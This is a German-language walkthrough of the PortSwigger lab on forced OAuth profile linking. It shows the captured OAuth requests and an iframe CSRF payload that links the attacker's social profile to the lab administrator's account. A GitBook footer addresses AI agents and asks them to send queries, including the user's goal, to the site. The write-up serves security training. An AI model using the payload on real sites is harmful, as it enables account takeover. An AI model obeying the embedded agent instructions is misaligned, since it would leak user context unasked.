> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/forced-oauth-profile-linking.md).

# Erzwungene OAuth-Profilverknüpfung

Notizen zur erzwungenen OAuth-Profilverknüpfung für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Erzwungene OAuth-Profilverknüpfung

**Beschreibung des Labs**

Dieses Lab bietet eine Funktion, um ein Profil eines sozialen Netzwerks mit einem Benutzerkonto zu verknüpfen und sich über OAuth statt mit herkömmlicher Authentifizierung anzumelden. / Aufgrund einer unsicheren Implementierung des OAuth-Streams auf der Client-Seite kann ein Angreifer diesen Mechanismus umleiten, um sein eigenes Social-Media-Profil mit dem Konto eines anderen Benutzers zu verknüpfen.

Ziel:/ Führen Sie einen CSRF-Angriff durch, um Ihr Social-Media-Profil mit dem Administratorkonto der Website zu verknüpfen, greifen Sie dann auf das Admin-Panel zu und löschen Sie den Benutzer **carlos**.

Einschränkungen :

* Der Administrator öffnet systematisch alle Inhalte, die vom Betriebsserver gesendet werden.
* Der Administrator hat auf der Blog-Site immer eine aktive Sitzung.

**Verfügbare Konten**

* Site-Konto: `wiener / peter`
* Profil im sozialen Netzwerk: `peter.wiener / hotdog`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f035e4e95319e6757c7a1e87077265181f1037c5%2F%7B9B021944-FC9E-4C73-9DB7-08132E7AB7A7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des OAuth-Mechanismus**

* Die Site erlaubt eine klassische Anmeldung mit Benutzername und Passwort.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba26aa06f7e7a6eb53ec0e16036cac8d7c821788%2F%7BBDD5638A-9B29-4D3C-9D5D-18C54D3C0CCD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Eine Verbindung über OAuth (soziales Netzwerk) ist ebenfalls verfügbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94127a5d88b079dc764f6d5a1958c3ab1a4c3470%2F%7B89AC4528-028A-406A-BC4C-451101EF9EE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ein vorhandener Benutzer kann ein Profil eines sozialen Netzwerks mit seinem Konto verknüpfen.

Während der Verknüpfung wird eine OAuth-Anfrage an den Authentifizierungspunkt gesendet:

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Nach der Authentifizierung wird der Benutzer zu einer URL umgeleitet, die einen OAuth-Code enthält:

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

Dieser Code:

* Ist nur einmal verwendbar
* Um das OAuth-Profil mit dem aktuell authentifizierten Konto zu verknüpfen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-692233e9b1403f7ec3737a434e7922743f4c53d2%2F%7BA9D8B5BA-F9CD-40E4-BD38-AFF0BBAC7822%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausnutzung der Schwachstelle**

1. Starten Sie den Verknüpfungsvorgang zwischen Ihrem Konto und Ihrem Social-Media-Profil.
2. Interceptieren und kopieren Sie den `/OAuth-linking?code=...` URL.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6470d69b54bb159a57db680b2c5c21efab01392%2F%7BECCD32A8-D5CE-4500-839C-4FB22D160CDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Verwerfen Sie die Anfrage, damit der Code nicht verbraucht wird.

Senden Sie von dem Betriebsserver aus diese URL per CSRF-Angriff an den Administrator, zum Beispiel mit einem iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

Der Administrator lädt die Seite:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7b2d3569773c57462ea3dac9900b7f5bd3d69da%2F%7B330F7921-1FBF-42B5-B2E6-1092A03CEAF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

OAuth-Code wird verbraucht

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81b2b362756a441e936a6a63f69152ede9210982%2F%7B90C1F5AB-FC90-4ABF-A46B-A30DD3BA4409%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das OAuth-Profil des Angreifers ist mit dem Administratorkonto verknüpft

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19ed647e1493f7cf7e48fdd225ddb53ac8e15212%2F%7B1FF37DFD-0799-4E65-B448-ABD61F14B3AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
